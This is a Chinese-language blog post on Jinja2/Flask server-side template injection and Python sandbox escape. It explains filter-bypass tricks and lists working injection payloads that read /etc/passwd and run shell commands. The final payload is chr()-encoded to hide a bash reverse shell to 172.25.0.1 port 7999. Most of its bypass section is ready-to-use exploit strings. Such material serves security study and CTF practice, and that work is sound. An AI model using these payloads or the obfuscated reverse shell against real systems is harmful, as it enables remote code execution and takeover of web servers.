Python沙箱逃逸与模板注入(SSTI)(二)
Python沙箱逃逸与模板注入(SSTI)(二)
前几天总结了python沙箱逃逸,这篇我来总结一下flask服务端模板注入(Server Site Template Injection)。我们可以看到注入绕过的方法中有很多用到了Python沙箱逃逸的方法。
学习模板注入最好要先有Jinja2模板的一些知识,简单的了解一下就行。模板注入是因为模板(Template)被二次渲染(render)或者是直接渲染格式化字符串,而这里面的输入又是用户可控的,这样用户就能输入例如{{1+1}}
这样的变量,被服务当做代码执行就会返回2。
寻找可用函数/变量
这里 将 我们可用的函数/变量介绍了一下
request
这个对象指的是当前请求对象,request.environ
对象是一个与服务器环境相关的对象字典。值得一提的是,可以通过访问request.args.get
request.cookies
request.headers
等访问我们的请求参数,这主要是用来绕过过滤。(比如不让输入某关键字,我们就可以通过cookies传入,然后从request.cookies获取即可)
config
config对象是当前配置对象,是一个类字典的对象,可以用config.items()
来访问。而且它还有一些独特1的方法,from_envvar
, from_object
, from_pyfile
。from_pyfile
可以读取指定python文件编译并加载进来。
使用沙箱逃逸方法
当然,这篇博客的重点还是在于和沙箱逃逸结合起来,运用沙箱逃逸的方法成功的模板注入。我们也能看到,寻找可用的函数/变量很难寻找到getshell的方式,然而沙箱逃逸却有神效。
魔法函数
按照上一篇的解释,我们可以构造以下payload:
{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd','r').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()}}
绕过
现在很多模板注入都有限制,比如限制输入某些关键字,或者干脆直接限制输入某些字符。下面总结了一些绕过的方法。
限制输入关键字
request绕过关键字
毫无疑问如果要用魔法函数,那么必须就要使用_
jinja2模板中有很多有用的内置过滤器,可以"看看这"这里我要介绍的是attr
和join
这两个过滤器。{{request|attr("get")}}
就相当于{{request.get}}
。{{request|attr(["_"*2,"class","_"*2]|join)}}
相当于{{request.__class__}}
但是我们这样似乎还是无法过滤_
,因为还是要输入才行呀。不过,我们前面讲过,被过滤的关键字和字符我们可以从request
里取出,我们可以在get、post、header、cookies里传一个值,然后用request.cookies['var']
获取
理论上,我们可以用这种方法绕过任何关键字过滤。
[]
绕过属性关键字
除了上面的方法,如果request关键字也被禁用了的话,就无法用了。但是,其实在jinja2模板的官方文档中清楚地说明了,对象的属性不但可以用.
来引用,而且还可以用[]
。这说明,我们可以有了如下方式的绕过(+
为拼接字符串)。
{{''.__class__}} = {{''['__cl'+'ass__']}}
怎么样?这样的话很多关键字过滤都可以突破,而且即使attr和join两个过滤器也被禁用时仍然可以使用。
限制输入 [
和]
当我们在字典要取值时,需要用到[]
,如果被过滤了,我们仍然可以用"沙箱逃逸"那篇文章的方法使用getitem方法来绕过。
{{request.cookies.getitem("hh")}}
索引找到current_app
url_for
类似可以索引到current_app的函数:get_flashed_messages、lipsum
寻找可用函数
{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}
{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}
Payload
self.__dict__
过滤_
、.
、url_for
http://127.0.0.1:5001/%7B%7B[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])%7D%7D?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
过滤了_
、过滤了引号、中括号以及一些关键字例如 globals、args、value、header 等
http://127.0.0.1:5009/%7B%7B()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(156)|attr(request.args.init)|attr(request.args.glo+request.args.bals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.payload)%7D%7D?eval=eval&getitem=__getitem__&base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&glo=__glo&bals=bals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
过滤了{{.*}}
,过滤了引号、方括号以及众多危险字符串例如 eval、os、system、import、class 还过滤了 request。
http://127.0.0.1:5103/%7B%25set%20chr=lipsum.__globals__.__builtins__.chr%25%7D%7B%25if%20lipsum.__globals__.__builtins__.__getitem__(chr(101)+chr(118)+chr(97)+chr(108))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(99)+chr(32)+chr(34)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(105)+chr(32)+chr(62)+chr(38)+chr(32)+chr(47)+chr(100)+chr(101)+chr(118)+chr(47)+chr(116)+chr(99)+chr(112)+chr(47)+chr(49)+chr(55)+chr(50)+chr(46)+chr(50)+chr(53)+chr(46)+chr(48)+chr(46)+chr(49)+chr(47)+chr(55)+chr(57)+chr(57)+chr(57)+chr(32)+chr(48)+chr(62)+chr(38)+chr(49)+chr(34)+chr(39)+chr(41))%25%7D123%7B%25endif%25%7D
总结
SSTI其实内容还是python沙箱逃逸的扩展,如果对python精通的话理解会快很多。在我查资料的时候还发现了有师傅用魔法函数构造出file的write函数写文件然后用config.from_pyfile()函数加载,等等技巧偏向于具体情景,我这里就没有总结。
参考
https://www.freebuf.com/articles/web/98619.html
https://www.freebuf.com/articles/system/97146.html
https://0day.work/jinja2-template-injection-filter-bypasses/
https://bestwing.me/awesome-python-sandbox-in-ciscn.html
https://xz.aliyun.com/t/1589/#toc-17